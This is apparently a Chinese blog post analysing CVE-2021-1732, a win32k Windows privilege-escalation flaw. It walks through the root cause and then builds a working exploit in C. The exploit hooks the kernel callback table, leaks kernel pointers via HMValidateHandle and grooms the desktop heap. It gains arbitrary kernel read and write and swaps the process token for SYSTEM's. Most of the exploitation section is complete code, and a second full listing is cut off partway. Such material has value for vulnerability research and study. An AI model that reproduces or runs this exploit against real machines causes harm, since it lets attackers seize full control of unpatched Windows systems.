dwExtraFlag & 0x800 !=0时,采用桌面堆寻址方式,最终地址=pExtraBytes + nIndex + DeskHeapBase。
dwExtraFlag & 0x800 ==0时,采用用户空间寻址,也就是CreateWindowsEx函数中,我们调用xxxClientAllocWindowClassExtraBytes申请到的空间地址+nIndex。
漏洞点 上面分析了这么多函数,现在也能轻易的明白漏洞点了,漏洞点就在于xxxSetWindowLong()函数的两种寻址方式上,大部分正常情况下,我们都是使用的xxxClientAllocWindowClassExtraBytes函数申请的内存,然后进行赋值,但是这个函数实际上是在用户层申请的内存空间,我们可以hook这个函数,而且恰巧的是,存在ConsoleControl这个函数,让我们可以修改dwExtraFlag,这将导致xxxSetWindowLong()函数的寻址方式改为寻找内核桌面堆的某块地址,如果再可以修改nIndex或者pExtraBytes的值,就可以实现对内核的某块地址进行赋值操作。
当然漏洞点是简单,容易理解的,但是我们最终的目标是利用,实现提权的操作,想做到这点还需要解决一系列问题
首先是如何hookxxxClientAllocWindowClassExtraBytes的那个用户层回调函数。
然后是ConsoleControl函数,这个函数的参数需要窗口的句柄,但是我们往往调用的时候是需要再CreateWindowsEx中hook掉xxxClientAllocWindowClassExtraBytes进行调用ConsoleControl,这时候还没有窗口句柄。
其次是如何利用漏洞点,让我们可以随便修改或者读取我们想要的内存。
对于这种任意地址读写的漏洞,该如何实现提权。
这些问题还得需要从exp,从代码中找到答案。
EXP编写 这里个人感觉应该是有多种hook方式的,exp采用的方式是修改KernelCallbackTable的函数地址来达到hook的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 DWORD64 KernelCallbackTable = *(DWORD64*)(__readgsqword(0x60 u) + 0x58 ); g_oldxxxClientAllocWindowClassExtraBytes = (fnxxxClientAllocWindowClassExtraBytes)*(DWORD64*)(KernelCallbackTable + 0x3D8 ); DWORD dwOldProtect; VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8 ), 0x300 ui64, 0x40 u, &dwOldProtect); *(DWORD64*)(KernelCallbackTable + 0x3D8 ) = (DWORD64)g_newxxxClientAllocWindowClassExtraBytes; VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8 ), 0x300 ui64, dwOldProtect, &dwOldProtect);
我们自己也需要重写一下_xxxClientAllocWindowClassExtraBytes。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 DWORD64 g_newxxxClientAllocWindowClassExtraBytes (DWORD64 *a1) { DWORD64 dwTemp = *a1; if (dwTemp == g_nRandom) { g_offset_0x1 = 1 ; HWND hwndMagic = GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize); printf ("MagciHwnd==%p\r\n" , hwndMagic); if (hwndMagic) { g_pfnNtUserConsoleControl(6 i64, &hwndMagic,0x10 ); QWORD qwRet = g_Thrdeskhead_cLockobj_Min; g_pfnNtCallbackReturn(&qwRet, 24 i64, 0 i64); } } DWORD64 dwTest = *((PULONG64)*(a1 - 11 )); return g_oldxxxClientAllocWindowClassExtraBytes(a1); }
作用就是如果是magic类的窗口,就钩取,执行UserConsoleControl(),改变此窗口的寻址模式,变为内核桌面堆寻址,其中UserConsoleControl()参数窗口句柄后面来讲如何获取。
获取窗口句柄 获取窗口句柄需要用到一个技术——HMValidateHandle技术,这个技术再Windows10 RS4前,都可以使用。
HMValidateHandle 是user32.dll
的一个导出函数. 它以一个句柄和一个句柄类型作为参数,通过查找句柄表,如果句柄与类型匹配,它将把对象复制到用户内存中。如果对象包含一个指向自身的指针,就像tagWND
它可以用来从内核中泄漏内存地址。
先来看看tagWND结构体是如何初始化的,通过CreateWindowsEx的调试,我们知道,是通过win32kbase!HMAllocObject来初始化的,分析下这个函数。
这些可以帮助我们更理解tagWND这个结构体,而且这个内核对象确实也包含了一个指向自己的指针,满足HMValidateHandle技术的使用条件,而且这个函数是在xxxClientAllocWindowClassExtraBytes前调用的,这代表在xxxClientAllocWindowClassExtraBytes调用前,tagWND内核对象的内存已经分配好了,配合HMValidateHandle技术,就可以泄露出tagWND结构体成员中的hwnd,就可以调用UserConsoleControl()了。
所以大概步骤如下
首先获取HMValidateHandle函数的地址。
然后创建一些normal窗口,调用HMValidateHandle传入窗口句柄,其会将内核对象复制到用户内存,根据代码来看,实际上返回的是ptagWNDk,通过VirtualQuery函数检索对应地址的页面内存信息。
接下来销毁掉一些窗口,留下对我们漏洞利用需要的两个normal窗口,至于其他的就先销毁掉,再次创建一个magic窗口,就会使用这些毁掉的窗口内存,感觉有点linux中fast bin那种味道。
这个magic窗口的cbWndExtra是和normal窗口不同的,在hook _xxxClientAllocWindowClassExtraBytes函数时,可以通过这个来判断那些窗口需要hook。
创建magic窗口,触发hook,检索我们销毁那些窗口的页面内存信息,找到magic窗口的特征cbWndExtra,从而定位到magic窗口的hwnd。
代码到内存布局在展示出来。
内存布局 我们需要精心构造内存布局,让我们完成读写内存的操作,读完代码会发现,真的非常巧妙。
任意地址写 我们需要3个窗口,标号为0,1,2。
第0个窗口,是normal窗口,但是在其创建好后,调用ConsoleControl修改其寻址方式。
第1个窗口,是normal窗口,不改变其寻址方式,最后我们将通过这个窗口来实现任意地址读。
第2个窗口,magic窗口,会被hook,hook时,会调用ConsoleControl修改其寻址方式。
接下来,操作这3个窗口的内存,步骤如下。
创建magic窗口2过程中, tagWNDk2.pExtraBytes的值是未知的,但可以知道是基于内核桌面堆的一个偏移值,代表窗口2的扩展内存相对于桌面堆的偏移,但是,为了能控制窗口1的tagWNDk0空间,我们需要将其修改为ptagWNDk0->OffsetToDesktopHeap,这个值我们是可以通过HMValidateHandle技术泄露出来的,我们在hook过程中通过控制NtCallbackReturn函数,修改tagWNDk2.pExtraBytes为ptagWNDk0->OffsetToDesktopHeap,此时窗口2的扩展内存变成了窗口0的tagWNDk
现在我们可以通过窗口2访问窗口0的tagWNDk0,这时候我们先修改ptagWNDk0->pExtraBytes为ptagWNDk自身相对于桌面堆的偏移,断掉窗口0的扩展内存,因为通过这个扩展内存偏移我们无法去访问其他窗口的内存。我们等下的目的是能通过窗口0,去访问窗口1的tagWNDk1空间。但是现在有个问题窗口0访问不到窗口1的tagWNDk1,但是我们知道访问大小限制是通过cbWndExtra决定的,所以我们可以先通过窗口2修改ptagWNDk0->cbWndExtra。
OK,没了大小限制,现在我们可以通过窗口0去修改窗口1的tagWNDk1.pExtraBytes,随意设置要修改的内存地址,而且窗口1的寻址方式是正常的,窗口1调用SetWindowLongPtrA,设置好要修改的值,就可以修改任意地址的值了。
这里画了张图片,方便理解,这里我默认窗口0在上面,真实情况不一定,但是貌似内核桌面堆的扩展内存好像都偏上。
测试代码如下,目的是修改一个数的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 #include <Windows.h> #include <stdio.h> #include <time.h> typedef void * (NTAPI* lHMValidateHandle)(HANDLE h, int type);lHMValidateHandle pHmValidateHandle = NULL ; typedef DWORD64 (NTAPI* fnxxxClientAllocWindowClassExtraBytes) (DWORD64* a1) ;fnxxxClientAllocWindowClassExtraBytes OldxxxClientAllocWindowClassExtraBytes = NULL ; typedef DWORD64 (NTAPI* fnNtUserConsoleControl) (int nConsoleCommand, HWND* pHwnd, int nConsoleInformationLength) ;fnNtUserConsoleControl g_pfnNtUserConsoleControl = NULL ; typedef DWORD64 (NTAPI* fnNtCallbackReturn) (DWORD64* a1, DWORD64 a2, DWORD64 a3) ;fnNtCallbackReturn g_pfnNtCallbackReturn = NULL ; namespace CVE_2021_1732{ DWORD64 g_nRandom = 0 ; HWND g_hwnd[10 ] = { NULL }; HWND g_hwndMagic = NULL ; DWORD64 g_ptagWNDk[10 ] = { NULL }; DWORD64 g_ptagWNDK_min = NULL ; DWORD64 g_ptagWNDK_max = NULL ; HWND g_hwnd_min = NULL ; HWND g_hwnd_max = NULL ; DWORD OffsetToDesktopHeap_min = NULL ; DWORD OffsetToDesktopHeap_max = NULL ; DWORD64 g_qwMinBaseAddress = 0 ; DWORD64 g_qwRegionSize = 0 ; DWORD testnum = 0 ; } using namespace CVE_2021_1732;BOOL FindHMValidateHandle () { HMODULE hUser32 = LoadLibraryA("user32.dll" ); if (hUser32 == NULL ) { printf ("Failed to load user32" ); return FALSE; } BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu" ); if (pIsMenu == NULL ) { printf ("Failed to find location of exported function 'IsMenu' within user32.dll\n" ); return FALSE; } unsigned int uiHMValidateHandleOffset = 0 ; for (unsigned int i = 0 ; i < 0x1000 ; i++) { BYTE* test = pIsMenu + i; if (*test == 0xE8 ) { uiHMValidateHandleOffset = i + 1 ; break ; } } if (uiHMValidateHandleOffset == 0 ) { printf ("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n" ); return FALSE; } unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset); unsigned int offset = ((unsigned int )pIsMenu - (unsigned int )hUser32) + addr; pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11 ); return TRUE; } HWND GuessHwnd (DWORD64* pBaseAddress, DWORD dwRegionSize) { DWORD64 qwBaseAddressBak = *pBaseAddress; DWORD64 qwBaseAddress = *pBaseAddress; DWORD dwRegionSizeBak = dwRegionSize; HWND hwndMagicWindow = nullptr ; do { while (*(WORD*)qwBaseAddress != g_nRandom & dwRegionSize > 0 ) { qwBaseAddress += 2 ; dwRegionSize--; } if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2 ) - (0xc8 >> 2 )) != 0x8000000 ) { qwBaseAddress = qwBaseAddress + 4 ; DWORD64 qwSub = qwBaseAddressBak - qwBaseAddress; dwRegionSize = dwRegionSizeBak + qwSub; } hwndMagicWindow = (HWND) * (DWORD*)(qwBaseAddress - 0xc8 ); if (hwndMagicWindow) { break ; } } while (true ); return hwndMagicWindow; } DWORD64 MyxxxClientAllocWindowClassExtraBytes (DWORD64* a1) { DWORD64 dwTemp = *a1; if (dwTemp == g_nRandom) { HWND hwndMagic = GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize); printf ("MagciHwnd==%p\r\n" , hwndMagic); if (hwndMagic) { g_pfnNtUserConsoleControl(6 i64, &hwndMagic, 0x10 ); DWORD64 qwRet = OffsetToDesktopHeap_min; g_pfnNtCallbackReturn(&qwRet, 24 i64, 0 i64); } } DWORD64 dwTest = *((PULONG64) * (a1 - 11 )); return OldxxxClientAllocWindowClassExtraBytes(a1); } BOOL HookClientAllocWindowClassExtraBytes () { BOOL bRet = TRUE; DWORD dwOldProtect; g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll" ), "NtUserConsoleControl" ); g_pfnNtCallbackReturn = (fnNtCallbackReturn)GetProcAddress(GetModuleHandleA("ntdll.dll" ), "NtCallbackReturn" ); DWORD64 KernelCallbackTable = *(DWORD64*)(__readgsqword(0x60 u) + 0x58 ); OldxxxClientAllocWindowClassExtraBytes = (fnxxxClientAllocWindowClassExtraBytes) * (DWORD64*)(KernelCallbackTable + 0x3D8 ); VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8 ), 0x300 ui64, 0x40 u, &dwOldProtect); *(DWORD64*)(KernelCallbackTable + 0x3D8 ) = (DWORD64)MyxxxClientAllocWindowClassExtraBytes; VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8 ), 0x300 ui64, dwOldProtect, &dwOldProtect); return bRet; } LRESULT __fastcall MyWndProc (HWND a1, UINT a2, WPARAM a3, LPARAM a4) { if (a2 != 2 ) return DefWindowProcW(a1, a2, a3, a4); PostQuitMessage(0 ); return 0 i64; } BOOL InitWindowsClass () { int WndNum = 10 ; int i = 0 ; struct _MEMORY_BASIC_INFORMATION Buffer = {}; srand(time(0 i64)); g_nRandom = (rand() % 255 + 0x1234 ) | 1 ; WNDCLASSEXW wndClass = {}; wndClass.lpfnWndProc = (WNDPROC)MyWndProc; wndClass.cbSize = 80 ; wndClass.style = 3 ; wndClass.cbClsExtra = 0 ; wndClass.cbWndExtra = 0x1000 ; wndClass.hInstance = GetModuleHandleW(0 i64); wndClass.lpszClassName = L"normalClass" ; ATOM g_lpWcxNormal = RegisterClassExW(&wndClass); wndClass.cbWndExtra = g_nRandom; wndClass.lpszClassName = L"magicClass" ; ATOM g_lpWcxMagic = RegisterClassExW(&wndClass); for (i = 0 ; i < WndNum; i++) { g_hwnd[i]= CreateWindowExW( WS_EX_NOACTIVATE, (LPCWSTR)(unsigned __int16)g_lpWcxNormal, L"windows" , 0x8000000 u, 0 , 0 , 0 , 0 , 0 i64, NULL , GetModuleHandleW(0 i64), 0 i64); g_ptagWNDk[i] = (DWORD64)pHmValidateHandle(g_hwnd[i], 1 ); VirtualQuery((LPVOID)g_ptagWNDk[i], &Buffer, 0x30 ui64); if (g_qwMinBaseAddress == 0 ) { g_qwMinBaseAddress = (DWORD64)Buffer.BaseAddress; g_qwRegionSize = (DWORD64)Buffer.RegionSize; } else { if (g_qwMinBaseAddress > (DWORD64)Buffer.BaseAddress) { g_qwMinBaseAddress = (DWORD64)Buffer.BaseAddress; g_qwRegionSize = (DWORD64)Buffer.RegionSize; } } } if (*(DWORD*)((char *)g_ptagWNDk[0 ] + 8 ) < *(DWORD*)((char *)g_ptagWNDk[1 ] + 8 )) { g_ptagWNDK_min = g_ptagWNDk[0 ]; g_ptagWNDK_max = g_ptagWNDk[1 ]; g_hwnd_min = g_hwnd[0 ]; g_hwnd_max = g_hwnd[1 ]; } else { g_ptagWNDK_min = g_ptagWNDk[1 ]; g_ptagWNDK_max = g_ptagWNDk[0 ]; g_hwnd_min = g_hwnd[1 ]; g_hwnd_max = g_hwnd[0 ]; } OffsetToDesktopHeap_min = *(DWORD*)(g_ptagWNDK_min + 8 ); OffsetToDesktopHeap_max= *(DWORD*)(g_ptagWNDK_max + 8 ); g_pfnNtUserConsoleControl(6 i64, &g_hwnd_min, 0x10 ); for (int i = 2 i64; i < 10 ; ++i) DestroyWindow(g_hwnd[i]); g_hwndMagic = CreateWindowExW( 0x8000000 u, (LPCWSTR)(unsigned __int16)g_lpWcxMagic, L"Magicwnd" , 0x8000000 u, 0 , 0 , 0 , 0 , 0 i64, NULL , GetModuleHandleW(0 i64), 0 i64); SetWindowLongW(g_hwndMagic, 0x128 , OffsetToDesktopHeap_min); SetWindowLongW(g_hwndMagic, 0xC8 , 0xFFFFFFF ); printf ("testnum address : %p\n" , &testnum); SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + 0x128 - OffsetToDesktopHeap_min, (LONG_PTR)&testnum); printf ("testnum old value : %x" , testnum); SetWindowLongPtrA(g_hwnd_max, 0 , 0x1234 ); printf ("testnum new value : %x" , testnum); getchar(); return TRUE; } BOOL Init_CVE_2021_1732 () { BOOL bRet = TRUE; if (!FindHMValidateHandle()) { printf ("[!] Failed to locate HmValidateHandle, exiting\n" ); bRet = FALSE; return bRet; } if (!HookClientAllocWindowClassExtraBytes()) { printf ("[!] Failed to locate HmValidateHandle, exiting\n" ); } InitWindowsClass(); } int main () { Init_CVE_2021_1732(); }
可以看到用修改地址用的是SetWindowLongPtrA,这是因为SetWindowLong只能设置DWORD的地址,SetWindowLongPtrA可以设置DWORD64的地址,从第三个参数的大小可以看出。
结果如下。
实际上上面的代码,还有一部分被注释掉了,这是我分析过程中发现的,貌似不一定需要通过修改cbWndExtra来让窗口0访问窗口1,我们可以修改normal窗口类的cbWndExtra,让其值至少为0x128+8以上的内存,然后让窗口0的扩展内存变为窗口1的tagWNDk1,这样我们同样可以控制窗口0修改到窗口1的tagWNDk1.pExtraBytes。
1 2 3 4 5 6 7 8 printf ("%lx %lx \n" , OffsetToDesktopHeap_min, OffsetToDesktopHeap_max);SetWindowLongW(g_hwndMagic, 0x128 , OffsetToDesktopHeap_max); printf ("testnum address : %p\n" , &testnum);getchar(); SetWindowLongPtrA(g_hwnd_min, 0x128 , (LONG_PTR)&testnum); printf ("testnum old value : %x\n" , testnum);SetWindowLongW(g_hwnd_max, 0 , 0x1234 ); printf ("testnum new value : %x" , testnum);
结果如下。
而且似乎我们可能都不需要窗口1,只用窗口0和窗口2,应该就可以完成写操作。
任意地址读 这里用到的是xxxGetMenuBarInfo函数,感觉这个技术就是为这个漏洞出现的,其原理是xxxGetMenuBarInfo内部会读取*(spMenu + 0x58)保存的地址,然后读取这个地址的值,然后保存到参数pmbi->rcBar中,我们就可以通过参数获取到对应地址的值,显而易见,这个读取的条件是能修改那个地址,正好我们的漏洞可以做到这一点。
GetMenuBarInfo的定义。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 BOOL GetMenuBarInfo ( [in] HWND hwnd, [in] LONG idObject, [in] LONG idItem, [in, out] PMENUBARINFO pmbi ) ;typedef struct tagMENUBARINFO { DWORD cbSize; RECT rcBar; HMENU hMenu; HWND hwndMenu; BOOL fBarFocused : 1 ; BOOL fFocused : 1 ; BOOL fUnused : 30 ; } MENUBARINFO, *PMENUBARINFO, *LPMENUBARINFO;
查看xxxGetMenuBarInfo函数,我们想实现任意地址读,需要构造spMenu。
这个肯定和窗口的Menu有关,所以我们创建窗口时肯定需要创建Menu,并按照图片中的判断去构造spMenu。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 HANDLE hProcHeap = NULL ; hProcHeap = GetProcessHeap(); g_qwMenu = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0xA0 ); *(PDWORD64)(g_qwMenu + 0x98 ) = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x20 ); *(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x98 )) = g_qwMenu; *(PDWORD64)(g_qwMenu + 0x28 ) = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x200 ); *(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x28 ) + 0x2C ) = 1 ; *(PDWORD64)(g_qwMenu + 0x58 ) = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x8 ); *(PDWORD)(g_qwMenu + 0x40 ) = 1 ; *(PDWORD)(g_qwMenu + 0x44 ) = 2 ;
构造完还不够,我们需要将这个构造的spMenu替换到目标窗口的spMenu上,exp采用了SetWindowLongPtrA函数去设置,当第二个参数nIndex<0时,是可以在额外窗口内存中的指定偏移量设置值,当其值为-12时,是有关于spMenu偏移的设置的。
为了执行其代码,我们需要让*(ptagWNDk+0x1F)的值满足某些属性,但是这点完全可以通过任意地址写实现。
1 2 3 4 5 6 7 8 DWORD64 qwStyle = *(PDWORD64)(g_ptagWNDK_max + dwStyleOffset); qwStyle |= 0x4000000000000000 ; SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle); SetWindowLongPtrA(g_hwnd_max, GWLP_ID, g_qwMenu); qwStyle &= ~0x4000000000000000 ; SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle);
接下来封装一下读取的函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 DWORD64 MyRead (DWORD64 targetAdress) { BYTE qwRet[8 ] = { 0 }; MENUBARINFO pmbi = {}; pmbi.cbSize = sizeof (MENUBARINFO); *(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x58 )) = targetAdress - 0x40 ; if (!GetMenuBarInfo(g_hwnd_max, -3 , 1 , &pmbi)) { printf ("GetMenuBarInfo error" ); } *(PDWORD)(qwRet) = pmbi.rcBar.left; *(PDWORD)(qwRet + 4 ) = pmbi.rcBar.top; return *(PDWORD64)qwRet; }
测试结果如下。
替换Token 现在我们有了任意读写的能力,为了实现提权,所需要的就是system进程的Token地址,和本进程的Token地址。
获取pEPROCESS,exp通过的方式是读取spMenu,通过其成员获取pEPROCESS,这里采用另一个exp的方法,可直接获取到system进程的pEPROCESS。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 ULONG64 GetNTBase () { ULONG64 Base[0x1000 ]; DWORD dwRet = 0 ; ULONG64 ulKrnlBase = 0 ; if (EnumDeviceDrivers((LPVOID*)&Base, sizeof (Base), &dwRet)) { ulKrnlBase = Base[0 ]; } return ulKrnlBase; } ULONG64 GetSystemProcess () { HMODULE hModel = NULL ; ULONG64 ulAddress = 0 , ulOSBase = 0 , ulRes = 0 ; ulOSBase = GetNTBase(); hModel = LoadLibraryA("ntoskrnl.exe" ); ulAddress = (ULONG64)GetProcAddress(hModel, "PsInitialSystemProcess" ); ulRes = ulAddress - (ULONG64)hModel + ulOSBase; return ulRes; } void PrivilegeEscalatio () { DWORD64 qwSytemAddr = GetSystemProcess(); DWORD dwPid = GetCurrentProcessId(); DWORD dwtmpPid = 0 ; DWORD64 qwEprocess = MyRead(qwSytemAddr); DWORD64 qwSystemToken = MyRead(qwEprocess + dwTokenOffset); do { qwEprocess = MyRead(qwEprocess + dwLinkOffset) - dwLinkOffset; dwtmpPid = MyRead(qwEprocess + dwPIDOffset); } while (dwPid != dwtmpPid); SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwpExtraBytesOffset - OffsetToDesktopHeap_min, qwEprocess + dwTokenOffset); SetWindowLongPtrA(g_hwnd_max, 0 , qwSystemToken); }
获取到了后,就是读取system的Token,然后遍历链表,然后根据当前进程pid获取到当前进程的EPROCESS,然后获取当前进程的Token,然后进行替换。
修复内存 为了不因为我们修改的内存而产生蓝屏,我们需要修改回去。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 VOID FixDate () { g_ptagWNDK_Magic= (DWORD64)pHmValidateHandle(g_hwndMagic, 1 ); OffsetToDesktopHeap_Magic= *(PDWORD)(g_ptagWNDK_Magic + 8 ); DWORD dwFlags = *(PDWORD)(g_ptagWNDK_Magic + dwExtraFlagOffset); dwFlags &= ~0x800 ; DWORD64 qwBuffer = (DWORD64)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, g_nRandom); SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_Magic + dwExtraFlagOffset - OffsetToDesktopHeap_min, dwFlags); SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_Magic + dwpExtraBytesOffset - OffsetToDesktopHeap_min, qwBuffer); SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwpExtraBytesOffset - OffsetToDesktopHeap_min, OldpExtraBytes_max); SetWindowLongPtrA(g_hwnd_min, dwpExtraBytesOffset, OldpExtraBytes_min); DWORD64 qwStyle = *(PDWORD64)(g_ptagWNDK_max + dwStyleOffset); qwStyle |= 0x4000000000000000 ; SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle); SetWindowLongPtrA(g_hwnd_max, GWLP_ID, qwspMenuOld); qwStyle &= ~0x4000000000000000 ; SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle); }
漏洞调试 实际上都没必要进行漏洞调试了,EXP的编写过程中,总是会出现问题,每写一个功能,就调试一下,已经是调试完了,强烈建议,自己从头开始编写一下EXP。
一路下来,我自己编写的exp如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 #include <Windows.h> #include <stdio.h> #include <time.h> #include <Psapi.h> #pragma comment(linker, "/defaultlib:Psapi.lib" ) typedef void * (NTAPI* lHMValidateHandle)(HANDLE h, int type);lHMValidateHandle pHmValidateHandle = NULL ; typedef DWORD64 (NTAPI* fnxxxClientAllocWindowClassExtraBytes) (DWORD64* a1) ;fnxxxClientAllocWindowClassExtraBytes OldxxxClientAllocWindowClassExtraBytes = NULL ; typedef DWORD64 (NTAPI* fnNtUserConsoleControl) (int nConsoleCommand, HWND* pHwnd, int nConsoleInformationLength) ;fnNtUserConsoleControl g_pfnNtUserConsoleControl = NULL ; typedef DWORD64 (NTAPI* fnNtCallbackReturn) (DWORD64* a1, DWORD64 a2, DWORD64 a3) ;fnNtCallbackReturn g_pfnNtCallbackReturn = NULL ; namespace CVE_2021_1732{ DWORD64 g_nRandom = 0 ; HWND g_hwnd[10 ] = { NULL }; HWND g_hwndMagic = NULL ; DWORD64 g_ptagWNDk[10 ] = { NULL }; DWORD64 g_ptagWNDK_min = NULL ; DWORD64 g_ptagWNDK_max = NULL ; DWORD64 g_ptagWNDK_Magic = NULL ; HWND g_hwnd_min = NULL ; HWND g_hwnd_max = NULL ; DWORD OffsetToDesktopHeap_min = NULL ; DWORD OffsetToDesktopHeap_max = NULL ; DWORD OffsetToDesktopHeap_Magic = NULL ; DWORD64 g_qwMinBaseAddress = 0 ; DWORD64 g_qwRegionSize = 0 ; DWORD testnum = 0 ; DWORD64 g_qwMenu = 0 ; DWORD64 qwspMenuOld = 0 ; ULONG64 OldpExtraBytes_min = 0 ; ULONG64 OldpExtraBytes_max = 0 ; } namespace Offset{ DWORD dwStyleOffset = 0x18 ; DWORD dwcbWndExtraOffset = 0xC8 ; DWORD dwExtraFlagOffset = 0xE8 ; DWORD dwpExtraBytesOffset = 0x128 ; DWORD dwLinkOffset = 0x2F0 ; DWORD dwTokenOffset= 0x360 ; DWORD dwPIDOffset = 0x2E8 ; } using namespace CVE_2021_1732;using namespace Offset;BOOL FindHMValidateHandle () { HMODULE hUser32 = LoadLibraryA("user32.dll" ); if (hUser32 == NULL ) { printf ("Failed to load user32" ); return FALSE; } BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu" ); if (pIsMenu == NULL ) { printf ("Failed to find location of exported function 'IsMenu' within user32.dll\n" ); return FALSE; } unsigned int uiHMValidateHandleOffset = 0 ; for (unsigned int i = 0 ; i < 0x1000 ; i++) { BYTE* test = pIsMenu + i; if (*test == 0xE8 ) { uiHMValidateHandleOffset = i + 1 ; break ; } } if (uiHMValidateHandleOffset == 0 ) { printf ("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n" ); return FALSE; } unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset); unsigned int offset = ((unsigned int )pIsMenu - (unsigned int )hUser32) + addr; pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11 ); return TRUE; } HWND GuessHwnd (DWORD64* pBaseAddress, DWORD dwRegionSize) { DWORD64 qwBaseAddressBak = *pBaseAddress; DWORD64 qwBaseAddress = *pBaseAddress; DWORD dwRegionSizeBak = dwRegionSize; HWND hwndMagicWindow = nullptr ; do { while 